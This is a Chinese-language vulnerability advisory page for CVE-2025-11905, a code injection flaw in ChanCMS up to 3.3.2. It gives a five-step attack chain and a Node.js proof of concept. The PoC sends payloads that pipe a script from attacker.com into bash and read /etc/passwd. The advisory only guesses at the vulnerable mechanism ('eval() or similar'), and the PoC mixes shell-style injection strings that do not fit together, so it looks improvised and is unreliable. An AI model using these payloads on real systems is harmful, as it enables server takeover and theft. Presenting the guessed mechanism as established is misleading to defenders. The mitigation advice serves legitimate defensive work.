IPBUF安全漏洞报告
English
CVE-2025-11905 CVSS 6.3 中危

CVE-2025-11905:ChanCMS gather.js getArticle函数代码注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11905
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yanyutao0402 ChanCMS

相关标签

代码注入ChanCMSNode.jsCMS远程代码执行中危漏洞CVSS-6.3gather.jsgetArticle

漏洞概述

CVE-2025-11905是yanyutao0402 ChanCMS内容管理系统中存在的一个代码注入漏洞,影响版本至3.3.2。该漏洞位于app\modules\cms\controller\gather.js文件中的getArticle函数中,攻击者可以通过操纵该函数的输入参数注入恶意代码。由于漏洞的攻击向量为网络(AV:N),且仅需要低权限(PR:L)即可利用,无需用户交互(UI:N),使得该漏洞具有较高的可利用性。

该漏洞的CVSS 3.1评分为6.3,属于中危级别。漏洞对机密性、完整性和可用性均产生低影响(C:L/I:L/A:L),但攻击复杂度低(AC:L),攻击范围未改变(S:U)。漏洞发现者通过[email protected]提交了此漏洞,且漏洞的利用方式已经公开披露,供应商在被通知后未做出任何响应。

ChanCMS是一款基于Node.js开发的内容管理系统,广泛用于搭建企业网站、博客等。该漏洞的存在使得攻击者可以在服务器端执行任意代码,可能导致网站被完全控制、敏感数据泄露或服务中断。由于漏洞利用代码已经公开,该漏洞的实际威胁程度进一步提升,建议相关用户尽快采取防护措施。

技术细节

该漏洞存在于ChanCMS的gather.js控制器文件中的getArticle函数中。gather.js是CMS系统中负责内容采集(gather)的核心控制器,用于从外部数据源抓取文章内容。

漏洞的根本原因是getArticle函数在处理用户输入参数时,未对输入内容进行充分的过滤和验证,导致攻击者可以通过精心构造的恶意输入注入任意代码。攻击者通过远程方式发送特制的HTTP请求,调用getArticle函数时传入包含恶意代码片段的参数。由于该函数使用了eval()或类似的动态代码执行机制来处理传入的参数,恶意代码将在服务器端被执行。

利用方式:
1. 攻击者首先需要获取目标ChanCMS站点的访问权限(低权限账号即可);
2. 构造针对getArticle函数的恶意请求,将恶意代码嵌入到请求参数中;
3. 服务器在处理请求时执行注入的恶意代码;
4. 攻击者通过注入的代码实现远程命令执行,获取服务器控制权限。

该漏洞的利用复杂度较低,因为攻击向量为网络,且无需用户交互。漏洞利用代码已经公开,攻击者可以轻松获取并使用现成的利用工具进行攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别运行ChanCMS <= 3.3.2的目标网站,并尝试获取低权限账号(如通过注册、默认凭证或社会工程学等方式)。
STEP 2
步骤2:构造恶意请求
攻击者分析gather.js中getArticle函数的代码逻辑,构造包含恶意代码注入的HTTP请求参数,利用函数对输入参数缺乏过滤的缺陷。
STEP 3
步骤3:发送攻击请求
攻击者通过认证的低权限会话,向目标服务器的/cms/gather/getArticle端点发送包含恶意代码的POST请求,触发服务器端代码执行。
STEP 4
步骤4:代码执行与权限提升
服务器在处理请求时执行了注入的恶意代码,攻击者获得服务器端的命令执行能力,可进一步进行权限提升、横向移动等操作。
STEP 5
步骤5:持久化与数据窃取
攻击者在服务器上植入后门,窃取数据库中的敏感数据(如用户凭证、个人信息),或利用服务器作为跳板攻击内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11905 - ChanCMS gather.js getArticle Code Injection PoC // Target: yanyutao0402 ChanCMS <= 3.3.2 // Vulnerable file: app\modules\cms\controller\gather.js // Vulnerable function: getArticle const axios = require('axios'); // Target configuration const TARGET_URL = 'http://target-chancms-site.com'; const LOW_PRIV_TOKEN = 'your_low_privilege_session_token'; // Low privilege authenticated session // Malicious payload for code injection // The getArticle function processes input parameters without proper sanitization, // allowing arbitrary code execution on the server side. const maliciousPayload = { // Inject malicious code through the article collection parameters url: 'http://attacker.com/malicious_article', rule: '1; require("child_process").exec("curl http://attacker.com/shell.sh | bash"); //', // Additional parameters that may be processed by getArticle title: '$(require("child_process").execSync("id").toString())', content: '`require("child_process").execSync("cat /etc/passwd")`' }; async function exploit() { try { // Send the exploit request to the vulnerable getArticle endpoint const response = await axios.post( `${TARGET_URL}/cms/gather/getArticle`, maliciousPayload, { headers: { 'Cookie': `token=${LOW_PRIV_TOKEN}`, 'Content-Type': 'application/json' } } ); console.log('[+] Exploit sent successfully'); console.log('[+] Response:', response.data); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();

影响范围

yanyutao0402 ChanCMS <= 3.3.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/cms/gather/getArticle端点的网络访问,仅允许可信IP访问;2)在Web应用防火墙中添加针对代码注入攻击的检测规则,拦截包含恶意代码特征的请求;3)审查并修改gather.js中getArticle函数的代码逻辑,移除eval()等危险的动态代码执行函数,改为安全的参数化处理方式;4)监控服务器日志,及时发现和响应可疑的代码执行活动;5)考虑临时禁用内容采集(gather)功能,直到漏洞被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表